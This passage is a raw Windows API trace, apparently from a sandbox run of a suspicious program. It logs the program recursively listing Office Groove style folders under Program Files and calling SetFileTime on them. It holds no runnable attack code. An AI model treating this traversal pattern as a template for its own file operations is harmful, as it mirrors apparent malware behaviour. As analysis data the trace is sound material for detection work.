lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52c3bfd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61ab7bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61ab7bf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.978] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x52c3bfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0078.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d52e0 [0078.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c86a0 [0078.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d6678 [0078.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.979] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61ab7bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.980] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c86c0 [0078.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d6780 [0078.980] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.980] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61ab7bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.980] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.981] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c86e0 [0078.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d6888 [0078.981] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.981] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61ab7bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.981] GetLastError () returned 0x12 [0078.981] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e91c0 [0078.981] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.981] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52c3bfd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61ab7bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61ab7bf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.981] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x52c3bfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0078.981] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61ab7bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.981] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61ab7bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.981] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61ab7bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.981] GetLastError () returned 0x12 [0078.982] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d51d8) returned 1 [0078.982] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0078.982] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d52e0) returned 1 [0078.982] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d50d0) returned 1 [0078.982] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61a91a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xeb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrayCheck.css", cAlternateFileName="")) returned 1 [0078.982] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x52c3bfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x762, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenTea.css", cAlternateFileName="")) returned 1 [0078.982] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightSpirit.css", cAlternateFileName="")) returned 1 [0078.982] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x568309f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66293410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lime", cAlternateFileName="")) returned 1 [0078.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d50d0 [0078.982] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x568309f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66293410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0078.983] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0078.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0078.983] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119e40c, lpOverlapped=0x0) returned 0 [0078.984] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0078.984] NtClose (Handle=0x180) returned 0x0 [0078.984] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d50d0) returned 1 [0078.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d50d0 [0078.984] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d52e0 [0078.984] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e91c0 [0078.984] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x568309f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66293410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.985] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d51d8 [0078.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8700 [0078.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d6990 [0078.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.986] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x568309f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8720 [0078.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d6a98 [0078.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.987] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x568309f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.987] GetLastError () returned 0x12 [0078.987] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9080 [0078.987] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0078.987] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x568309f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66293410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.987] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.987] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x568309f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.987] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x568309f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.987] GetLastError () returned 0x12 [0078.987] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d52e0) returned 1 [0078.987] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.987] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d51d8) returned 1 [0078.987] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d50d0) returned 1 [0078.988] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1091, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lime.css", cAlternateFileName="")) returned 1 [0078.988] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maroon.css", cAlternateFileName="")) returned 1 [0078.988] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6b22b3b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b22b3b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oasis", cAlternateFileName="")) returned 1 [0078.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d50d0 [0078.988] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6b22b3b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b22b3b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0078.989] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0078.989] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0078.989] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119e40c, lpOverlapped=0x0) returned 0 [0078.989] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0078.989] NtClose (Handle=0x164) returned 0x0 [0078.989] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d50d0) returned 1 [0078.989] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.989] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d50d0 [0078.990] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d51d8 [0078.990] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9080 [0078.990] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6b22b3b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b22b3b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.990] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x86c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", 